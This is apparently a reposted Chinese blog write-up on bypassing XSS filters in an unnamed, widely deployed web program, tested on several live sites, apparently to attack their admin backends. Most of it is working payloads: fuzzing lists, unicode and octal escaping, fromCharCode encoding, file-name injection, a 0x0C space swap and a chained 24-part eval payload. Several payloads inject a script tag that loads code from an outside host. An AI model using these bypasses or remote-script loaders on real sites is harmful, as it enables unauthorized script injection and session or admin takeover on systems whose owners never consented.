A-A+

一个有趣的 XSS 漏洞 1

2017年06月02日 09:58 汪洋大海 暂无评论 阅读 41 views 次

说实话能找到这篇文字也是巧合,曾经的大牛:Mramydnei,现在已不知何处,曾经的法克论坛,现在已经烟消云散。

文章作者:Mramydnei 来源:法克论坛 (已关闭,别闹,博主我曾经还是核心元老呢)

本博主自认为,我博客应该是网上保存的最完整的带来源带图带作者的博客文章了。

最近认识了个新基友,天天找我搞 XSS,搞了三天,感觉这一套程序还是很有意思的。因为是过去式的文章,所以没有图。但是希望把经验分享出来,可以帮到和我一样爱好 XSS 的朋友。我个人偏爱富文本 XSS,因为很有趣。有趣的地方是你需要一点一点的测试都过滤了些什么,怎么过滤的。我想,这也是黑盒测试最让人着迷的地方吧。首先,锁定了提交问题的模块,因为这块有编辑器。然后开始 fuzz filter 规则,一共有两个输入点:标题,内容,我一般喜欢从内容入手,因为这块没有长度限制。一开始先一个一个测试一些可以用来 XSS 攻击的标签:

1
2
<script><a><p><img><body><button><var><div><iframe><meta><object><marquee><isindex ><input><select>
<keygen><frameset><embed><svg><math><video><audio><textarea>

经过一系列测试之后,发现存活的只有<img>和<a>标签。这就比较尴尬了。这种情况下一般能用起来的,属性也就几个了:onload,onerror,onmouseover,onclick 和 href,理清思路之后开始第二轮的测试,就是属性测试:

1
<img onerror onload onmouseover src=x> <a href onmouseover onclick>

测试后发现,这几个好用的 on 事件都被过滤了。然而程序员为了防止插入<script>把 scr 给过滤了,所以 href 里面也不可能再写伪协议来执行 XSS 了。 搞到这的时候,心想搞个 dataURI(<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCg0MSk8L3NjcmlwdD4=>求助</a>)就算了。起码 FF 下还会继承当前域,不过基友不愿意啊。想了想也是这是打后台,只能搞一些通杀的 XSS,不然不白扯么。然后回过头来看了下标题。还是上面的测试流程。意外的发现标题出居然没有对 img 标签进行过滤,属性种只有 onload 没有被过滤,接着先试了下:

1
<img src=站内有效图片地址 onload=document.write(123)>

被拦截了,又蛋疼的测试了一会儿后发现 document 被过滤了,好吧,转成 unicode 继续绕:

1
<img src=站内有效图片地址 onload=\u0064ocument.write(123)>

这下过了,不过把页面给毁了。呵呵,人嘛 总有那么几天会犯傻。重新注册个帐号,心想这次要一次搞定,所以还是避免单引号吧,就写了这个:

1
<img src=站内有效图片地址 onload=\u0064ocument.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,47,47,122,115,121,46,99,97,47,51,51,62,60,47,115,99,114,105,112,116,62))>

很好,又被拦截了。测试了很长时间终于没有耐心了(这个标题有字数限制,如果不找到过滤的字符,而是整篇都转了,长度会不够)。发现 Char 被过滤了(一看就是把防注入和防XSS 写一块儿了,屌丝何必难为屌丝。),不想再走这条路了,换个姿势:

1
<img src=有效图片 onload="\u0064ocument.write('&lt;sc'+'ript src=//zsy.ca/33&gt;&lt;/sc'+'ript&gt;')">

终于写好了一个没有 document,没有 char,没有 scr 的 payload,再多两个字就插不进去了。写好了通用的 payload 后,发给了基友,过一天。他又 M 我说,有一个一样的站,不过搞不定。不知道为什么一套程序会有这么多变异版本,这次的情况更有趣了,内容插入的标签都被 HTMLEncode 了,标题处已经不能再插 img 标签了,心想估计是升级版吧。结果他说没事儿,我知道这个不能搞,搞不定就算了。换谁谁都怒了,继续用前面的方式,fuzz 标题处允许的标签,fuzz 出来 4 个:<img>、<div>、<style>,<a>,开始做属性测试,还是上面那一套方法,发现<p onmouseover>没有问题,那上面的 payload 改了一改:

1
<p onmouseover="\u0064ocument.write('&lt;sc'+'ript src=//zsy.ca/33&gt;&lt;/sc'+'ript&gt;')">

发给他就睡觉了,结果第三天,他又搞了一个站说前面两个方法都不行。真是奇怪了。这奇葩程序到底是谁在维护,郁闷。标题和内容都被 HTMLencode 了,而且编辑器直接被去掉了。不过这次多了个功能,叫上传图片。其实搞到这儿的时候,已经很累了。不过放弃不是我性格,只能接着搞了,这是我最喜欢 linux 的一点,因为文件名的命名规则没有 win 那么矫情。搞了个图片,名称改成:

1
<img src=x onerror=confirm()>.png

由于是新功能,程序员没有对文件名进行 htmlencode,直接输出在了页面,小框框再一次弹起。舒服多了,不过又有新的问题了。由于是文件上传,所以我们的 payload 中不能出现“/”,我觉得应该是会被认成 filepath 然后就被截断了,再换个姿势:

1
<svg onload=\u0064cument.write(String.from\u0043harCode(60,115,99,114,105,112,116,32,115,114,99,61,47,47,122,115,121,46,99,97,47,51,51,62,60,47,115,99,114,105,112,116,62))

没有 scr,没有 Char,没有 document,没有“/”的姿势就算写好了。到这儿还没完,还有1 个呢,后面他又给我发了个变异版本,说能插进去却执行不了。拿过来网站后看了下,好家伙,这次更好玩了。之前的三个站,标题的长度限制都是 100 (不是客户端验证,是在定义数据库字段的时候,做了限制)。这次的长度只有 35,payload 后面的部分都被吃掉了。目测数据库那块儿没变,但是在 PHP 端,做了限制。还多了个安全宝(要不要这样?)别的还好拆,这 onmouseover 拆成 10 个 20 个的,让人一个一个划过去,这心里边没底啊。只能找别的 payload 了。这次也累了,就随便试了一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<img onAbort onActivate onAfterPrint onAfterUpdate onBeforeActivate onBeforeCopy onBeforeCut
onBeforeDeactivate onBeforeEditFocus onBeforePaste onBeforePrint onBeforeUnload onBeforeUpdate onBegin
onBlur onBounce onCellChange onChange onClick onContextMenu onControlSelect onCopy onCut
onDataAvailable onDataSetChanged onDataSetComplete onDblClick onDeactivate onDrag onDragEnd
onDragLeave onDragEnter onDragOver onDragDrop onDragStart onDrop onEnd onError onErrorUpdate
onFilterChange onFinish onFocus onFocusIn onFocusOut onHashChange onHelp onInput onKeyDown onKeyPress
onKeyUp onLayoutComplete onLoad onLoseCapture onMediaComplete onMediaError onMessage onMouseDown
onMouseEnter onMouseLeave onMouseMove onMouseOut onMouseOver onMouseUp onMouseWheel onMove
onMoveEnd onMoveStart onOffline onOnline onOutOfSync onPaste onPause onPopState onProgress
onPropertyChange onReadyStateChange onRedo onRepeat onReset onResize onResizeEnd onResizeStart
onResume onReverse onRowsEnter onRowExit onRowDelete onRowInserted onScroll onSeek onSelect
onSelectionChange onSelectStart onStart onStop onStorage onSyncRestored onSubmit onTimeError
onTrackChange onUndo onUnload onURLFli formaction action href xlink:href autofocus src content data from
values to style>

发完贴之后变成了:

1
<img onAbort=“”>

一时没搞明白是什么情况,随后试了一下:

1
<img src=x onerror=confirm()>

变成了:

1
<img src=x>

原来是在发现一个以上的空格时,会从第二个空格开始把后面内容都过虑了。这就好弄了,换空格的法儿就多了,祭出 Hexeditor,把第二个空格换成 0x0C,如图:

Hexeditor 转换XSS

保存后,复制 payload:

1
<img src=x[0x0C]onerror=confirm()>

终于弹起来了,综合考虑,前面的那些被过滤的字符(document,scr,char,"/"),打算还是转成8进制算了。反正拆完的内容最后还要 eval 一下。就有了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<img onerror=a='\144\157'src=x>
<img onerror=a+='\143\165'src=x>
<img onerror=a+='\155\145'src=x>
<img onerror=a+='\156\164'src=x>
<img onerror=a+='\56\167'src=x>
<img onerror=a+='\162\151'src=x>
<img onerror=a+='\164\145'src=x>
<img onerror=a+='\50\47'src=x>
<img onerror=a+='\74\163'src=x>
<img onerror=a+='\143\162'src=x>
<img onerror=a+='\151\160'src=x>
<img onerror=a+='\164\40'src=x>
<img onerror=a+='\163\162'src=x>
<img onerror=a+='\143\75'src=x>
<img onerror=a+='\57\57'src=x>
<img onerror=a+='\172\163'src=x>
<img onerror=a+='\171\56'src=x>
<img onerror=a+='\143\141'src=x>
<img onerror=a+='\57\63\6'src=x>
<img onerror=a+='3\76\74'src=x>
<img onerror=a+='\57\163\1'src=x>
<img onerror=a+='1\160\164'src=x>
<img onerror=a+='\76\47\51'src=x>
<img onerror=eval(a)src=x>

插入的时候倒序插入(因为帖子会按照时间顺序来呈现)。最后就算搞定了,感觉是次很有趣的经历。虽然有点长但耐心读完应该还是有帮助的。虽然不是什么碉堡的程序,但是国内有很多家都在用这套。所以不方便透漏是哪一套。如果你知道是哪一套,也希望你不要说出来。

标签:

给我留言